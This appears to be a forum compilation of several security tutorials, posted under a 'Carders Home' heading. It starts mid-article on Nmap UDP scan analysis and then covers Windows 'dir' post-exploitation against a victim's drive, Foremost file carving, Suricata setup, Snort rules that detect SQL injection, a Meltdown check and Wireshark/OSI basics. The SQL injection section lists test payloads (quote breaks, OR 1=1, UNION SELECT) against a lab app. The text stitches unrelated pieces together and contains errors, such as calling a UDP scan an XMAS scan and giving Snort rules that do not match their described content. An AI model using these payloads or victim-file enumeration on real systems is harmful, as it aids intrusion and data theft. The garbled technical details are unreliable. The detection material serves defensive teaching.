If you found 1st {FIN, PSH, URG} packet (0x29) and 2nd RST packet (0x04) then indicate “Closed Port” on targeted network.
NMAP FIN, NMAP NULL, and NMAP XMAS scan are only applicable on Linux based system

Nmap UDP Scan
Here we are going with XMAS scan to enumerate state of any specific port in any Linux based system
nmap -sU -p68 192.168.1.104
1
nmap -sU -p68 192.168.1.104
Working of XMAS Scan for open port: Send 2 packets of UDP on a specific port
It is quite different from the TCP communication process because here no Flag is used for establishing a connection or initiate a connection request with the target’s network.
[Image: 48.png?w=687&ssl=1]

Step to Identify NMAP UDP Scan

Collect IP Header Details for Protocol Version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800
Try to collect the following details as given below:

Ip header length 20 Bytes (5 bits*4=20 bytes)
Protocol (11 for UDP)
Source IP
Destination IP

It is quite similar as NMAP above Scan as “IP header” and “Ethernet header” information will be same either is TCP communication or UDP communication and using the given table you can study these values to obtain their original value.
[Image: 49.1.png?w=687&ssl=1]

Basically, 11 is hex value use for UDP protocol which is quite useful in identify NMAP UDP scan from remanding scanning method.
[Image: 49.png?w=687&ssl=1]

Analysis UDP Header Details

Now lets Identifying the source and destination port an as done above in TCP Scanning.
[Image: 50.1.png?w=687&ssl=1]

Conclusion! Obtaining the hex value for every packet in such sequence gives the indication to the Penetration tester that Someone has Choose NMAP UDP scan for Network enumeration.
NOTE: If you found 1st UDP packet and 2nd UDP with ICMP Message Port is unreachable then indicates “Closed Port” on the target network.
[Image: 50.png?w=687&ssl=1]

In this article, we will learn how to use Windows Command Line Command “dir”. We will also learn to extract files, get information about Number of files of a particular extension and much more using the Metasploit framework.
dir Command: It displays a list of a directory’s files and subdirectories.
Syntax
dir [<Drive>:] [<Path>] [<FileName>] [/p] [/q] [/a [[:] <Attributes>]] [/s] [/b]

[/p]: Displays one screen of the listing at a time.
[/q]: Displays file ownership information.
[/s]: Lists every occurrence of the specified file name within the specified directory and all subdirectories.
:[/b] Displays a bare list of directories and files, with no additional information.
[/a]: Attributes (Additional Options).

It is usually attached with options such as

[/ad]: Directories
[/ah]: Hidden files
[/as]: System files
[/a-attribute]: Not (It is used when opposite of the attribute is to be obtained)

Now to use dir for Post Exploitation, we will need an Administrator Privileged shell. This can be found

[To see content please register here]

.
We will use different combinations of the attributes and parameters to extract data from the victim’s system.
Find Directories using a search string
Here, we are using the following options with dir command:

[/b] to get a bare search,
[/s] to get a verbose result,
[/ad] to get the list of directories,

Containing string *sales* in their name.
Syntax: dir /b /s /ad [directory]\*string*
dir /b /s /a-d d:\*sales*
1
dir /b /s /a-d d:\*sales*
[Image: 1.png?w=687&ssl=1]

Find the Number of Files/Directories in a Directory
If we need the Number of files, i.e. no. of files we have to add find command by piping [|] it with dir.
dir /b | find /c /v ""
1
dir /b | find /c /v ""
Here [/b] to get a bare search and [/c] switch tells the find tool to Number how many lines contain our search terms, and [/v] switch will show any lines that don’t contain the string of words which we have specified in this case “”. As a file name can be nothing (“”) so it will Number all the file names.
Here, we are using
Above command return number of files in the Directory, we are currently in. In my case, it returns 22, which means the victim has 22 files in his D:\ directory.
[Image: 2.png?w=687&ssl=1]

Find the Number of files
Here, we are using
dir /b /s /a-d d:\*sales* | find /c /v ""
1
dir /b /s /a-d d:\*sales* | find /c /v ""
[/ad] is for Directories.
[-] is used as NOT so [/a-d] is for not directories i.e. files
Also, find /c /v “” is used to get the Number. From given below image we can observe here it found 5 files inside the sales folder.
[Image: 3.png?w=687&ssl=1]

Find the Number of Directories
Syntax: dir /b /s /ad [directory]\*string* | find /c /v “”
dir /b /s /ad d:\*sales* | find /c /v ""
1
dir /b /s /ad d:\*sales* | find /c /v ""
Here we need to get the Number of directories named *sales* It can be anything mentioned in *string*.
[/ad] is for Directories
Here find /c /v ”” is used to get a Number and from given below image we can observe here it found 5 subdirectories inside sales folder.
[Image: 4.png?w=687&ssl=1]

Find Files of a Particular Extension
In the given example, I searched for .xlsx files which are MS-Excel Files, but we can use it for an extension file like pdf, png, exe, docs etc.
Syntax: dir /b /s [directory]\*extension*
dir /b /s d:\*.xlsx*
1
dir /b /s d:\*.xlsx*
From given below image we can read the name of excel files inside D: drive.
[Image: 6.png?w=687&ssl=1]

Find the Number of Files of a particular Extension
If we add find /c /v”” we will get the Number of files of a particular extension as shown below.
dir /b /s d:\*.xlsx* | find /c /v ""
1
dir /b /s d:\*.xlsx* | find /c /v ""
From given below image we can observe here it found 4 excel files inside D: drive.
[Image: 7.png?w=687&ssl=1]

Find the Number of Hidden Files/Directories
To get hidden files we will use the attribute [/ah].
And when combined with find /c /v “”, we will get the Number of the hidden files/directories in the given directory as shown below.
Syntax: dir /b /ah [directory] | find /c /v “”
dir /b /ah d:\ | find /c /v ""
1
dir /b /ah d:\ | find /c /v ""
From given below image we can observe here it found 3 hidden files inside D: drive.
[Image: 8.png?w=687&ssl=1]

Find the Hidden Files/Directories in a Directory
To view the Hidden Files in the given directory we will use attribute [/ah] with [/b] to get a bare result of the hidden files.
Syntax: dir /b /ah [directory]
dir /b /ah d:\
1
dir /b /ah d:\
From given below image we can read the name of hidden files inside D: drive.
[Image: 9.png?w=687&ssl=1]

Find the System Files Stored in a Directory
To get the System Files we will use another attribute which is [/as], combined with [/b] it will give the names of the system files stored in the given directory.
dir /b /as d:\
1
dir /b /as d:\
From given below image we can read the name of system files inside D: drive.
[Image: 10.png?w=687&ssl=1]

Foremost is a program that is used to carve data from disk image files, it is an extremely useful tool and very easy to use.
For the purpose of this article we have used an Ubuntu disk image file and the process has been repeated twice. The purpose of doing so was to see if Foremost can carve data out of incomplete disk images as well. We have used Kali Linux but if you want you can install Foremost on pretty much any distro of Linux.
Here’s how it was done:
Navigate to the Applications menu in Kali, Forensics is option 11. The fifth option from top in the Forensics menu is Foremost. Click on it and let’s get to carving some data!!
[Image: 1.PNG?w=687&ssl=1]

Foremost starts and shows you the options you have at your disposal.
[Image: 2.PNG?w=687&ssl=1]

In order to keep things simple, you first want to navigate to the Desktop using “cd Desktop”.
Next, make a folder on the desktop by the name of “recov”. This isn’t a mandatory step, it just makes things easier to access by making a new folder where the carved data will be stored.
[Image: 3.PNG?w=687&ssl=1]

We will be dealing with the disk image of a flash drive partition, so let’s make one using the “dd” command. The dd command can be used to copy files and with the option of converting the data format in the process.
In the interest of thoroughness we have copied .docx, .jpeg, .png, .zip, .pdf and .avi files onto the partition from which we will be making our disk image.
[Image: 4.PNG?w=687&ssl=1]

Now let’s make a disk image.
In a new terminal window, type the following “fdisk –l | grep /dev/”. This command will show you the disk partitions available to you without any clutter.
[Image: 5.PNG?w=687&ssl=1]

The partition we are concerned with is /dev/sbd2, this was specially allocated 10 MB of space so that the imaging process is quick.
The command to create the disk image is “dd if=/dev/sdb2 of=disk.img”. Here, “dd” is the utility we are using, “if=” is to denote the input destination and “of=” is to denote the output destination and name of the image file we are creating.
[Image: 6.PNG?w=687&ssl=1]

We have not specified any output destination, but, just the name for the image file. The image file will be created in the Home directory by default. Copy the disk image file from here and place it on the desktop.
[Image: 7.PNG?w=687&ssl=1]

Let’s navigate back to the terminal where we have Foremost running and start the file carving process.
This disk image file will be carved for .jpeg, .png, .zip, .pdf and .avi file formats. We will not be instructing Foremost to carve the .docx but, since one exists in the .zip we have placed inside the disk image, it will do so automatically.
Type the following “foremost -t jpeg,png,zip,pdf,avi -i disk.img -o recov –v”.
To break this down “-t” is setting the file types we want to carve out of the disk image, here those are .jpeg and .png.
“-i” is specifying the input file, the “disk.img” that is placed on the desktop.
“-o” is telling Foremost where we want the carved files to be stored, for that we have the “recov” folder on the desktop that we made earlier.
“-v” is to tell Foremost to log all the messages that appear on screen as the file is being carved into a text file in the output folder (recov) as an audit report.
[Image: 8.PNG?w=687&ssl=1]

That’s all it takes for Foremost to start digging into the disk image. The process looks like this.
[Image: 9.PNG?w=687&ssl=1]

Once Foremost is done carving the disk image, it shows you the result: that’s is, how many of which file types have been carved. All it took was a second, to get the job done.
[Image: 10.PNG?w=687&ssl=1]

Now open the output (recov) folder and you will see an audit report and six folders which will be named by the file types we invoked Foremost to carve for us.
[Image: 11.PNG?w=687&ssl=1]

First, the audit report. It shows us the particulars of the scan, which file types were carved, from which image file, the size of the image file, where it was located, where the output folder was located, etc. Let’s have a look.
[Image: 12.PNG?w=687&ssl=1]

The end of the report contains shows the total files extracted with more particulars.
[Image: 13.PNG?w=687&ssl=1]

We will open one file from the jpg folder to see what we have.
[Image: 14.PNG?w=687&ssl=1]

One from the png folder.
[Image: 15.PNG?w=687&ssl=1]

Inside the docx folder.
[Image: 16.PNG?w=687&ssl=1]

Inside the pdf folder.
[Image: 17.PNG?w=687&ssl=1]

Now the avi folder
[Image: 18.PNG?w=687&ssl=1]

And finally the zip folder.
[Image: 19.PNG?w=687&ssl=1]

As you can see, Foremost was successfully able to carve files out of the disk image file and give us the results. Let’s put it to the test.
This a very interesting tool and its simplicity is what makes it stand out.
The only issue I could see with this is that the file names are not recovered, which can make the search process very tedious unless the option of automation and a frame of reference are available.
That being said, in forensics, just being able recover the files without opening or extracting disk image itself is a huge advantage, the reason for saying so is that, if you do extract or open the disk image you never know what might be waiting for you inside, this way you have more control over the entire investigation process. Enjoy using this tool.
Have fun and stay ethical.

[Guide] How to Configure Suricata IDS in Ubuntu

Posted by: NINZA - 05-14-2020, 06:46 AM - Forum: Carders Home - No Replies

Suricata is developed by the Open Information Security Foundation. Suricata is a high performance Network IDS, IPS and Network Security Monitoring engine. Open Source and owned by a community run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by the OISF and its supporting vendors.
Features
IDS / IPS
Suricata implements a complete signature language to match on known threats, policy violations and malicious behaviour. Suricata will also detect many anomalies in the traffic it inspects. Suricata is capable of using the specialized

[To see content please register here]

and the

[To see content please register here]

.
High Performance
A single Suricata instance is capable of inspecting multi-gigabit traffic. The engine is built around a multi threaded, modern, clean and highly scalable code base. There is native support for hardware acceleration from several vendors and through PF_RING and AF_PACKET.
Automatic protocol detection
Suricata will automatically detect protocols such as HTTP on any port and apply the proper detection and logging logic. This greatly helps with finding malware and CnC channels.
NSM: More than an IDS
Suricata can log HTTP requests, log and store TLS certificates, extract files from flows and store them to disk. The full pcap capture support allows easy analysis. All this makes Suricata a powerful engine for your Network Security Monitoring (NSM) ecosystem.
From:

[To see content please register here]

Lets Begin!!
We had chosen Ubuntu operating system for installation and configuration of suricata. Earlier than installing suricata in your machine, you should need to install necessary dependencies of Ubuntu. Therefore open the terminal and type given below command to install per-requisites by a making update.
apt-get update
1
apt-get update
[Image: 1.png?w=687&ssl=1]

It is an easiest way to install and configure the suricata in your system because it’s entire requirement whether it is suricata rules directory or logging directory every packages is are stored by apt repository. Enter given below command to begin the suricata installations.
apt-get install suricata -y
1
apt-get install suricata -y
[Image: 2.png?w=687&ssl=1]

Now we need to create an empty text document file for our local rules inside rule folder of suricata
touch /etc/suricata/rules/local.rules
1
touch /etc/suricata/rules/local.rules

After then open the configuration file using gedit for making some changes inside.
gedit /etc/suricata/suricata-debian.yaml
1
gedit /etc/suricata/suricata-debian.yaml

The two most important steps we need to perform here:

Comment all others available file of rules so that only yours local rule file will be in priority.
Mention the local.rules under the rule files list.

Now add the network CIDR for which IDS will filter the incoming and outgoing traffic as shown in given below image.
Here we had set HOME_NET 192.168.1.0/24
[Image: 6.png?w=687&ssl=1]

Now open the local rule file to add your own network filtering rules in side it
gedit /etc/suricata/rules/local.rules
1
gedit /etc/suricata/rules/local.rules

Now if you are not much aware about its rule configuration then you need not to be worry about it because implementing rule in suricata is as similar as in snort. For help open this

[To see content please register here]

to get details of IDS rule implementation.
alert icmp any any -> 192.168.1.111 any (msg: “ICMP detected”; sid:10000001 Wink

1
alert icmp any any -> 192.168.1.111 any (msg: “ICMP detected”; sid:10000001 Wink

The above rule will generate an alert when found any network IP sending ICMP packets in our network by pinging IP 192.168.1.111.
[Image: 8.png?w=687&ssl=1]

Now execute following command to make GRO (Generic receive offload) disable on specific interfaces with help of Ethtool.
ethtool -K ens33 gro off
1
ethtool -K ens33 gro off

Then again turn On NIDS mode of surictata using given below command.
suricata -c /etc/suricata/suricata-debian.yaml -i ens33
1
suricata -c /etc/suricata/suricata-debian.yaml -i ens33
[Image: 10.png?w=687&ssl=1]

Now let’s ping the IP: 192.168.1.111 from another system to test whether our NIDS will generate alert for ICMP packet or not. From given image you can read the command: ping 192.168.1.111 where you can observe it has sent 3 ICMP request packets.
[Image: 11.png?w=687&ssl=1]

Basically suricata alert logs are generated under var/log and you can use given below command to read the captured logs.
tail -f /var/log/suricata/
1
tail -f /var/log/suricata/
As result suricata with NIDS mode had capture only 3 ICMP packets from IP 192.168.1.102 which you can observe from given below image that generated alert for “ICMP Detected”, this happens because in above rule we had applied “->”one-directional operators which mean it will only capture traffic coming from source IP to destination IP.
Here you can perceive that both two packets of ICMP is coming from 192.168.1.102 to 192.168.1.111 which means it has only captured ICMP Echo-request packets form source IP.
[Image: 12.png?w=687&ssl=1]

Hello friends!! Today we are going to discuss how to “Detect SQL injection attack” using Snort but before moving ahead kindly read our previous both articles related to Snort Installation (

[To see content please register here]

or using

[To see content please register here]

)and its

[To see content please register here]

to enable it as IDS for your network.
Basically In this tutorial we are using snort to capture the network traffic which would analysis the SQL Injection quotes when injected in any web page to obtain information of database system of any web server. Snort will generate the alert for malicious traffic when caught those traffic in its network and network administers will immediately get attentive against suspicious traffic and could take effective action against the attacking IP.
Requirement
IDS: Snort (Ubuntu)
Web application: Dhakkan
You can configure your own web server by taking help of our article “

[To see content please register here]

”
Let’s Begin!!
Identify Error Based SQL Injection
As we know in Error based SQL injections the attacker use single quotes (‘) or double quotes (“) to break down SQL query for identify its vulnerability. Therefore be smart and add a rule in snort which will analyst Error based SQL injection on the server when someone try to execute SQL query in your network for unprivileged access of database.
Execute given below command in ubuntu’s terminal to open snort local rule file in text editor.
sudo gedit /etc/snort/rules/local.rules
1
sudo gedit /etc/snort/rules/local.rules
Now add given below line which will capture the incoming traffic coming on any network IP via port 80.
alert tcp any any -> any 80 (msg: "Error Based SQL Injection Detected"; content: "%27" ; sid:100000011; )
alert tcp any any -> any 80 (msg: "Error Based SQL Injection Detected"; content: "22" ; sid:100000012; )
1
2
alert tcp any any -> any 80 (msg: "Error Based SQL Injection Detected"; content: "%27" ; sid:100000011; )
alert tcp any any -> any 80 (msg: "Error Based SQL Injection Detected"; content: "22" ; sid:100000012; )
If you read above rule you can notice that I had applied filter for content “%27” and %22 are URL encoded format use in browser for single quotes(‘) and double quotes (“) respectively at the time of execution of URL.
Turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 1.png?w=687&ssl=1]

Now test your above rule by making Error based sql injection attack on web application “Dhakkan”, therefore open the server IP in web browser and use single quotes (‘) for identify SQL injection vulnerability as shown below.
192.168.1.20/sqli/Less-1/?id=1'
1
192.168.1.20/sqli/Less-1/?id=1'
For more detail on Error Based SQL injection read our

[To see content please register here]

article.
Now when attacker will execute malicious quotes in browser for testing Error Base SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 2.png?w=687&ssl=1]

As per our prediction from given image you can observe the snort has gerenated alert for Error Based sql injection when capture malicious quotes.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicous traffic is coming form 192.168.1.21 on port 80.
[Image: 3.png?w=687&ssl=1]

Testing Double Quotes Injection
Now again open the server IP in web browser and use double quotes (“) for identify SQL injection vulnerability as shown below.
192.168.1.20/sqli/Less-4/?id=1"
1
192.168.1.20/sqli/Less-4/?id=1"
Now when attacker will execute malicious quotes in browser for testing Double quotes SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 4.png?w=687&ssl=1]

From given image you can observe the snort has generated alert for Error Based sql injection when capture malicious quotes.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming from 192.168.1.21 on port 80.
[Image: 5.png?w=687&ssl=1]

Boolean Based SQL Injection
As we know in Boolean based SQL injections the attacker use AND /OR operators where attacker will try to confirm if the database is vulnerable to Boolean SQL Injection by evaluating the results of various queries which return either TRUE or FALSE.
Now add a rule in snort which will analyse Boolean based SQL injection on the server when someone try to execute SQL query in your network for unprivileged access of database. Here I had applied filter for content “and” & “or” to be captured. Here nocase denotes not case sensitive it can be as AND/and, OR/or.
alert tcp any any -> any 80 (msg: "AND SQL Injection Detected"; content: "and" ; nocase; sid:100000060; )
alert tcp any any -> any 80 (msg: "OR SQL Injection Detected"; content: "or" ; nocase; sid:100000061; )
1
2
alert tcp any any -> any 80 (msg: "AND SQL Injection Detected"; content: "and" ; nocase; sid:100000060; )
alert tcp any any -> any 80 (msg: "OR SQL Injection Detected"; content: "or" ; nocase; sid:100000061; )
Turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 6.png?w=687&ssl=1]

Again open the server IP in web browser and use AND operator for identify Boolean SQL injection vulnerability as shown below.
192.168.1.20/sqli/Less-8/?id=1' AND 1=1 --+
1
192.168.1.20/sqli/Less-8/?id=1' AND 1=1 --+
For more detail on Boolean Based SQL injection read our

[To see content please register here]

article.
Now when attacker will execute malicious quotes in browser for testing Boolean Base SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 7.png?w=687&ssl=1]

Testing OR Operator
As per our calculation from given image you can observe the snort has generated alert for Boolean Based sql injection when captured content AND.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 8.png?w=687&ssl=1]

Again open the server IP in web browser and use OR operator to identify Boolean SQL injection vulnerability as shown below.
192.168.1.20/sqli/Less-8/?id=1' OR 1=1 --+
1
192.168.1.20/sqli/Less-8/?id=1' OR 1=1 --+
Now when attacker will execute malicious quotes in browser for testing Boolean Base SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 9.png?w=687&ssl=1]

As per our calculation from given image you can observe the snort has generated alert for Boolean Based sql injection when captured content OR.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 10.png?w=687&ssl=1]

Encoded AND/OR
Similarly in given below rule I had applied filter for content “%26%26” and “%7c%7c” are URL encoded format use in browser for && and || respectively at the time of execution of URL.
alert tcp any any -> any 80 (msg: "AND SQL Injection Detected"; content: "and" ; nocase; sid:100000008; )
alert tcp any any -> any 80 (msg: "OR SQL Injection Detected"; content: "or" ; nocase; sid:100000009; )
1
2
alert tcp any any -> any 80 (msg: "AND SQL Injection Detected"; content: "and" ; nocase; sid:100000008; )
alert tcp any any -> any 80 (msg: "OR SQL Injection Detected"; content: "or" ; nocase; sid:100000009; )
Turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 11.1.png?w=687&ssl=1]

Again open the server IP in web browser and use && operator for identify Boolean SQL injection vulnerability as shown below.
192.168.1.20/sqli/Less-25/?id=1’ %26%26 1==1 --+
1
192.168.1.20/sqli/Less-25/?id=1’ %26%26 1==1 --+
For more details read our

[To see content please register here]

article
Now when attacker will execute malicious quotes in browser for testing Boolean Base SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 11.2.png?w=687&ssl=1]

As per our calculation from given image you can observe the snort has generated alert for Boolean Based sql injection when captured content %26%26.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 11.3.png?w=687&ssl=1]

Testing Encoded OR Operator
Again open the server IP in web browser and use || operator for identify Boolean SQL injection vulnerability as shown below.
192.168.1.20/sqli/Less-25/?id=1' %7C%7C 1==1 --+
1
192.168.1.20/sqli/Less-25/?id=1' %7C%7C 1==1 --+
Now when attacker will execute malicious quotes in browser for testing Boolean Base SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 11.4.png?w=687&ssl=1]

As per our calculation from given image you can observe the snort has generated alert for Boolean Based sql injection when captured content %7C %7C.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 11.5.png?w=687&ssl=1]

Identify Form Based SQL Injection
The Form Based SQL injection also known as “Post Error based SQL injection” because the attacker executes malicious quotes inside Login form of a web page that contains text field for username and password to login inside web server.
Therefore now add a rule in snort which will analyst Form based SQL injection on the server when someone try to execute SQL query in your network for unprivileged access of database.
alert tcp any any -> any 80 (msg: "Form Based SQL Injection Detected"; content: "%27" ; sid:1000003; )
1
alert tcp any any -> any 80 (msg: "Form Based SQL Injection Detected"; content: "%27" ; sid:1000003; )
If you read above rule you can notice that I had applied filter for content “%27” to be captured; turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 11.png?w=687&ssl=1]

I had used single quotes (‘) to break the query inside the text field of username then click on submit.
Username: ’
From the given screenshot you can see we have got error message (in blue color) which means the database is vulnerable to SQL injection.
For more detail on Form Based SQL injection read our

[To see content please register here]

article.
Now when attacker will execute malicious quotes in browser for testing Form Base SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 12.png?w=687&ssl=1]

As per our prediction from given image you can observe the snort has generated alert for Form Based sql injection when capture malicious quotes.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 13.png?w=687&ssl=1]

Identify Order by SQL Injection
In order to identify number of column in database the un-trusted user may use order by clause which will arrange the result set in ascending or descending order of the columns used in the query.
Now add a rule in snort which will analyst order by SQL injection on the server when someone try to execute SQL query in your network for unprivileged access of database. Here again that I had applied filter for content “order” to be captured.
alert tcp any any -> any 80 (msg: "Order by SQL Injection"; content: "order" ; sid:1000005; )
1
alert tcp any any -> any 80 (msg: "Order by SQL Injection"; content: "order" ; sid:1000005; )
Turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 14.png?w=687&ssl=1]

Now again open the server IP in web browser and use string order by for identify column of database as shown below.
192.168.1.20/sqli/Less-1/?id=1' order by 1,2,3 --+
1
192.168.1.20/sqli/Less-1/?id=1' order by 1,2,3 --+
Now when attacker will execute malicious string in browser for testing order by SQL injection then the IDS of the network should also capture this content and will generate the alert
[Image: 15.png?w=687&ssl=1]

As per our prediction from given image you can observe the snort has generated alert for order by sql injection when capture malicious string.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 16.png?w=687&ssl=1]

Identify Union Based SQL Injection
We all know in Error base SQL injection attacker may use the UNION operator to combine the result-set of two or more SELECT statements. Therefore add a rule in snort which will analyst Union select SQL injection on the server when someone try to execute SQL query in your network for unprivileged access of database. Here again that I had applied filter for content “union” to be captured.
alert tcp any any -> any 80 (msg: "UNION SELECT SQL Injection"; content: "union" ; sid:1000006; )
1
alert tcp any any -> any 80 (msg: "UNION SELECT SQL Injection"; content: "union" ; sid:1000006; )
Turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 17.png?w=687&ssl=1]

Now again open the server IP in web browser and use string order by for identify column of database as shown below.
192.168.1.20/sqli/Less-1/?id=-1' union select 1,2,3 --+
1
192.168.1.20/sqli/Less-1/?id=-1' union select 1,2,3 --+
Now when attacker will execute malicious string in browser for testing Union select SQL injection then the IDS of the network should also capture this content and will generate the alert.
[Image: 18.png?w=687&ssl=1]

As per our prediction from given image you can observe the snort has generated alert for union select sql injection when capture malicious string.
So when the network admin get alert from IDS on the basis of it he can take action against attacking IP, as shown in given image the malicious traffic is coming form 192.168.1.21 on port 80.
[Image: 19.png?w=687&ssl=1]

Hello Friends!! You must be heard of the latest vulnerbility “Meltdown” which has been discovered almost in every CPU having intel processessor, from this

[To see content please register here]

you can check list of vulnerable CPU discription. Today we are going to disccuss how to “Check Metltadown vulnerability in any CPU” by using a script.
From Wikipedia
Meltdown is a hardware vulnerability affecting Intel x86 microprocessors and some ARM-based microprocessors. It allows a rogue process to read any physical, kernel or other process’s mapped memory, regardless of whether or not it should be able to do so. It allows an unauthorized process to read data from any address that is mapped to the current process’s memory space, because instruction pipelining in the affected processors means that the data from the unauthorized address will almost always be temporarily loaded into the CPU’s cache during speculative execution, from which it can be recovered using other techniques, even if the original read instruction eventually fails due to privilege checking and never produces a readable result. Since many operating systems map physical memory, kernel processes, and other running user space processes into the address space of every process and rely on privilege checking to prevent unauthorized access, Meltdown effectively allows a rogue process to read any physical, kernel or other process’s mapped memory, regardless of whether or not it should be able to do so. Accordingly, many servers and cloud services were impacted, as well as a potential majority of smart devices and embedded devices using ARM based processors (mobile devices, smart TVs and others), including a wide range of networking equipment.
Let’s start!!
Open the terminal and type given below command to download the script form git hub. It can only dump linux_proc_banner which is work as an interface for internal data structures in the kernel and it is used to get information regarding the system and to change certain kernel Process.
git clone

[To see content please register here]

From given below image you can observe I had successfully download this script in my Linux machine.
[Image: 1.png?w=687&ssl=1]

Now explore the downloaded folder in terminal now run the command “make” for compiling the program file before running the script.
[Image: 2.png?w=687&ssl=1]

Now run the script by executing given below command which will identify the state of vulnerability by read its memory space.
./run.sh
From given below image you can observe where it is vulnerable ON has dumped the complete detail of CPU Processor. So here it has shown some details such as:
Vendor Id: Vendor ID or VID is unique number assign to a Hardware to identify it on which system it has been installed.
CPU family: Same functionality Processors are categories into same family, here CPU family 6 means indicate a model from Pentium Pro family.
Model: Indicates model number of CPU family.
Model name: Holds Model name of Processor
Stepping: It is used identify the version of microprocessor
Microcode: it is a lowest instruction set permanently to control the microprocessor
CPU MHz: Describe Usage of CPU.
Cache size: Define the size of cache memory.
[Image: 3.png?w=687&ssl=1]

You can also verify above result by executing given below command which is used for obtaining details of system information.
[Image: 4.png?w=687&ssl=1]

Source:

[To see content please register here]

Today we are going to discuss “Network Packet Forensic” by covering some important track such as how Data is transferring between two nodes, what is “OSI 7 layer model” and how Wireshark stores which layers information when capturing the traffic between two networks.
As we know for transferring the data from one system to other we need a network connection which can be wired or wireless connection. But in the actual transmission of data does not only depend upon network connection apart from that it involves several phases for transmitting data from one system to another which was explained by the OSI model.
OSI stands for Open Systems Interconnection model which is a conceptual model that defines and standardizes the process of communication between the sender’s and receiver’s system. The data is transfer through 7 layers of architecture where each layer has a specific function in transmitting data over the next layer.
Now have a look over given below image where we had explained the functionality of each layer in the OSI model. So when data is transmitted by sender’s network then it will go in downward direction and data move from application layer to physical layer whereas when the receiver will receive the transmitted data it will come in an upward direction from physical layer to application layer.
Flow of Data from Sender’s network: Application > Presentation > Session > Transport > Network > Data Link > Physical
Flow of Data from Receiver’s network: Physical > Data Link > Network > Transport > Session > Presentation > Application
[Image: 0.png?w=687&ssl=1]

Examine Layers captured by Wireshark
Basically when a user opens an application for sending or receiving Data then he directly interacts with the application layer for both operations either sending or receiving of data. For example, we act as a client when use Http protocol for uploading or Downloading a Game; FTP for downloading a File; SSH for accessing the shell of the remote system.
While connecting with any application for sharing data between server and client we make use of Wireshark for capturing the flow of network traffic stream to examine the OSI model theory through captured traffic.
From given below image you can observe that Wireshark has captured the traffic of four layers in direction of the source (sender) to destination (receiver) network.
Here it has successfully captured Layer 2 > Layer 3 > Layer 4 and then Layer 7 information.
[Image: 1.png?w=687&ssl=1]

Ethernet Header (Data Link)
Data link layer holds 6 bytes of Mac address of sender’s system and receiver’s system with 2 bytes of Ether type is used to indicate which protocol is encapsulated i.e. IPv4/IPv6 or ARP.
In Wireshark Ethernet II layer represent the information transmitted over the data link layer. From given below image you can observe that highlighted lower part of Wireshark is showing information in Hexadecimal format where the first row holds information of Ethernet headers details.
So here you can get the source and destination Mac address which also available in Ethernet Header.
The row is divided into three columns as described below:
[Image: 2.1.png?w=687&ssl=1]

As we know the MAC address of the system is always represented in Hexadecimal format but both types are generally categorized in the ways given below :
[Image: 2.2.png?w=687&ssl=1]

Once again if you notice the given below image then you can observe the highlighted text in Pink colour is showing hex value 08 00 which indicates that here IPv4 is used.
[Image: 2.png?w=687&ssl=1]

IP Header (Network Layer)
IP header in Wireshark has described the network layer information which is also known as the backbone of the OSI model as it holds Internet Protocol version 4’s complete details. Network layer divides data frame into packets and defines its routing path through some hardware devices such as routers, bridges, and switches. These packets are identified through their logical address i.e. source or destination network IP address.
In the image of Wireshark, I have highlighted six most important values which contain vital information of a data packet and this information always flows in the same way as they are encapsulated in the same pattern for each IP header.
Now here, 45 represent IP header length where “4” indicates IP version 4 and “5” is header length of 5 bits. while 40 is time to live (TTL) of packet and 06 is hex value for TCP protocol which means these values changes if anything changes i.e. TTL, Ipv4 and Protocol.
Therefore, you can take help of given below table for examining TTL value for the different operating system.
[Image: 1.png?w=687&ssl=1]

Similarly, you can take help of given below table for examining other Protocol value.
[Image: 3.2.png?w=687&ssl=1]

From given below image you can observe Hexadecimal information of the IP header field and using a given table you can study these value to obtain their original value.
[Image: 3.3.png?w=687&ssl=1]

The IP header length is always given in form of the bit and here it is 5 bytes which are also minimum IP header length and to make it 20 bytes, multiply 4 with 5 i.e. 20 bytes.

[Image: 3.png?w=687&ssl=1]

